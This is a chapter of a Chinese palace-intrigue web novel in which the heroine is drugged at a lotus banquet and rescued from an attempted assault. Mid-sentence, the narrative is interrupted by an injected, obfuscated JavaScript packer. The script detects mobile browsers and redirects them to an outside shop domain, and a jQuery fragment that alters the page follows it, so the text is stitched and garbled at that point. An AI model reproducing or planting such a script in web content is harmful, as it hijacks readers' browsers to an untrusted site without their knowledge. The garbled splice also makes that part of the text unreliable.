祝遥点点头,她倒是格外期待这个荷花会。
荷花会是少有的男女同席,前世的这次荷花会,她在席间人最多时被祝迎推进池塘。夏日本就穿的轻薄,被水浸透后浑身都若隐若现。
虽是丞相的女儿,却还是成了权贵间茶余饭后的谈资。
今年的沈幽兰和祝迎都被禁足,祝遥知道她们绝不会善罢甘休。
不过……
祝遥想起那时落水,她在水中很快就没了力气,求生的意识逐渐模糊,恍惚间被人拉上岸。
那人用外衫裹住她,他的衣服很大,遮住了她的脸,衣服上是木质熏香的气味,很好闻。
他带祝遥离开宴席,祝遥不知晓他是谁,但祝遥相信他是好人。
那人将她送上祝府的马车便离开了。祝遥到家后便开始发热,昏睡了几天,醒来后发现大家都默契地不提那事,倒也无法多问。
不知今年的花会,会发生什么呢。
刑狱司里,仍旧安静的过分。
魏泽屿从外头回来,将一个小卷筒样式的东西递给宋澜之。
“叶成玉的消息来了。”
宋澜之接过卷筒,取出里面的信纸,看完不由地轻笑一声。
他将信纸随手一烧,“她倒是出乎我的意料。”
“怎么?祝小姐做了什么事,能让宋大人如此赏识?”
“我的未婚妻,你管那么多做什么?”
魏泽屿扯扯嘴角,懒得跟这个人掰扯。不过他突然想起一件事,便凑到宋澜之身旁笑嘻嘻地问,“沈家那个浑小子打你未婚妻的主意,你确定不教训教训他?”
宋澜之对此倒是不屑一顾,“这种垃圾,有的是时间修理。”
魏泽屿自讨没趣,晃悠悠地离开了。宋澜之目光盯着随风晃动的烛火,许久,将手上的信点燃。
纸张碰到火,瞬间燃成灰烬。宋澜之垂眸,拨弄着手腕上的串珠,眸色暗沉,不知在想什么。
日子过的飞快,荷花会如期在宫中举办,京城中锣鼓喧天,平民百姓亦组织活动游玩。
祝昭昀带着祝逾先一步离开,沈幽兰和祝迎称病不去,如此今年便只有祝遥一人代替丞相府的女眷出席。
待到祝遥到时,宫门前已人声鼎沸,好不热闹。
松萝扶着祝遥下车,作为丞相府唯一露面的女眷,祝遥刚来就吸引了周边的许多目光。
“祝大小姐,多日未见,近来可好?”
说话的是郑侍郎的夫人,她这人喜好四处逢迎,各处结交权贵。
祝遥微微附身回礼,“多谢郑夫人挂怀,近来一切安好。”
见这边开始交谈,越来越多的人围在四周。
郑夫人的面上带着些探究,“听闻祝夫人和祝二小姐病了,可有大碍?”
此话一出,大家的目光都聚集在祝遥身上。
祝家大小姐在府上被继母苛待这事京中贵夫人们都略有耳闻,如今继母母女二人双双告病,连荷花会都不再参加,在场的都是经过宅斗的,自知这事怕是另有隐情,于是她们把目光对准祝遥,想从她的话中探寻些什么。
“多谢郑夫人挂念,”祝遥的脸上依旧淡淡的,看不出什么情绪,“母亲和二妹妹不过是有些风寒,顾及今日出席的都是贵人,怕过了病气,因此留在家中修养。”
“噢—”郑夫人拖了些尾音,“真不愧是远近闻名的大家闺秀,无论发生了什么,祝小姐还是一如既往地娴静温雅。”
四周的人渐渐远去,祝遥瞧着她们的背影,无奈地摇了摇头。
“小姐,她们就是见你是一个人,故意欺负你。”松萝在一旁抱怨道。
“松萝,这里是皇宫,切记不要乱说话”祝遥轻声警示。
松萝被训斥,有些委屈,“奴婢知道了。”
祝遥才带着松萝进门,停在她们之后的马车帘子就放了下来。
“哎,”魏泽屿用扇子敲了敲宋澜之的肩膀,“她也算是你未婚妻,你这样在背后偷窥算什么君子。”
来的路上,宋澜之认出祝遥的马车,便吩咐车夫跟在她的后边,刚才各家夫人围攻祝遥的场景,也都被看在眼里。
“我本就不是君子。”
轻飘飘的一句话,堵的魏泽屿无话可说。宋澜之也不管他,拍了拍衣服,径自下了车。
宫城富丽堂皇,恨不得所行之处皆用黄金装潢。中央的御道由墨玉铺就,在阳光的照耀下泛着光泽,朱红的宫墙上亦藏匿着金箔,照映着琉璃瓦的流光。
皇帝喜好玩乐,整座皇宫歌舞升平。祝遥走至御花园时,荷花池旁已站满了人。她没什么赏花的兴致,干脆在附近寻了个空座休息。
周边站着的小宫女见她坐下,很快就送来沏好的茶,只是才刚喝一口,就听得身后松萝的惊呼,祝遥条件反射地转身,便瞧见了宋澜之坐在她身侧,眉眼含笑地望着她。
这人离她这么近做什么,祝遥皱了皱眉,不动声色地跟他拉开距离。
“祝小姐不用如此生疏,我们早晚都要熟悉。”
又是这句话。祝遥没来由地有些烦闷,不想跟他坐在一处乱扯,起身告辞,“我还有事,世子请便吧。”
魏泽屿坐在离他俩不远的地方瞧着二人的互动,对着宋澜之的侍卫孤刀啧啧道,“你家主子真是见色忘义,见了人家姑娘就过去挑逗。”
孤刀不爱说话,闻言只瞥了魏泽屿一眼,“魏大人无妻,自然无法理解我家主子。”
魏泽屿翻了个白眼,不想再跟他说话。
祝遥的背影越来越远,宋澜之脸上的笑意逐渐变淡。
见她离开,魏泽屿带着孤刀走过去。
“怎么,把人小姑娘气跑了?”
宋澜之扫了他一眼,语气凉凉,“她可不是小姑娘。”
“行,不是小姑娘。”魏泽屿有些无语,嘴上顺着他,“刑狱司还有一大堆案子没处理,去见见皇上就赶紧走吧。”
宋澜之拍了拍他的肩膀,“刑狱司就先交给你,我晚些就回去。”
说罢他转身就走,孤刀跟上他,留下魏泽屿一人呆愣在原地。
不是,这主仆俩是算计好了吧?
祝遥朝着相反的方向走,前头貌似越来越偏,祝遥身上莫名有些燥热,她只想赶紧找个地方注休息。碰巧来了个小宫女,祝遥认出这是刚给她端茶的那个人,便拦住她问这附近有没有休息的地方。
那宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271994|198143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女见了她,笑着说,“小姐跟我来吧,前面就有准备用来休息的偏殿。”
因着这是宫中,今日圣上也在,祝遥猜测应不会有人敢在此时闹事,跟上宫女往前去。
宫女把她送到便离开,松萝看出祝遥的状态不对,问了她却什么也不说,只让她守在外面。
安顿好一切,祝遥几乎直接瘫倒在床上,腹中灼烧感越来越重,她在床上翻来覆去还是痛苦不堪。
过了不知多久,也不知她是晕过去还是睡着了,祝遥察觉不到自己的意识。恍惚间却突然觉得好像有人在碰她,她艰难地睁开眼,谁知入目的竟是一个男人正欲解她的衣衫。
祝遥大惊,想用力推开他,可身上软绵绵的一点力气都没有,再怎么反抗都无济于事,祝遥大口喘着气,泪水淌了满脸,心里满是绝望。
她很快就反应过来自己这是被人算计了,若是待会那人带人过来,瞧见屋内的场景,她只有死路一条,恐怕还会牵连家族。
祝遥眼角淌下眼泪,即使浑身无力却还是用力地反抗。殿门忽的被踹开,有人往她嘴里塞了一个东西,同时拽着那个男人厮打起来,只是很快就没了声响。
“祝遥,你怎么样?”这人的声音响起,言语间似有藏不住的担忧。
刚喂给她吃的应该是解药,祝遥能感受到萦绕在心头的燥闷感渐渐退散。听见他的声音,祝遥才反应过来这人是宋澜之。
此时祝遥无比庆幸今日穿的这套衣服比较繁琐,那男人解了许久也只碰乱了衣领,还没露出大片皮肤。祝遥伸手轻轻抚平衣领,手仍在控制不住地颤抖。
“祝遥?”
没听见祝遥的回话,宋澜之又喊了声,祝遥这才发现他一直背着身。
“宋大人,”祝遥起身下床,整理好衣衫,“今日多谢宋大人相助。”
听她声音无异,宋澜之才缓缓转过身。他神色有些复杂,似是想问什么,看着祝遥的脸,终究没有说出口。
“松萝怎么样?”祝遥问。
“你那个丫头被熏了迷香,我随身只带了一枚解药,事态紧急就先给你用了。孤刀已经回去取了,不用担心。”
“嗯。”祝遥低着头,听不出什么情绪。
宋澜之知道她此时状态不好,但该处理的还是需要处理的。
“祝小姐,”宋澜之脸色也不好,他踢了踢一旁昏死过去的男人,“你认识他吧。”
祝遥心中各种情绪翻涌,她深吸一口气,淡道,“他是沈子岐,沈家三公子,我的三舅舅。”
接二连三的打击使祝遥的身子有些虚浮,她不想显露出自己虚弱的一面,“今日之事劳烦宋大人了,之后的我会自己处理。”
见祝遥决绝,宋澜之拧着眉没说话,恰巧孤刀赶了回来,将解药交给祝遥。松萝倒在门口,祝遥蹲在门栏处,把她扶起来倚靠着墙,喂给她解药。
松萝中的迷香重,醒来还需要一些时间,祝遥起身看向宋澜之,“还有一件事需要宋大人相助。”
“你说。”
“今日之事,你可否假装不知?”
宋澜之闭了眼,袖中的手紧握着,有些颤抖,声音却一如往常。
“自然是会的。”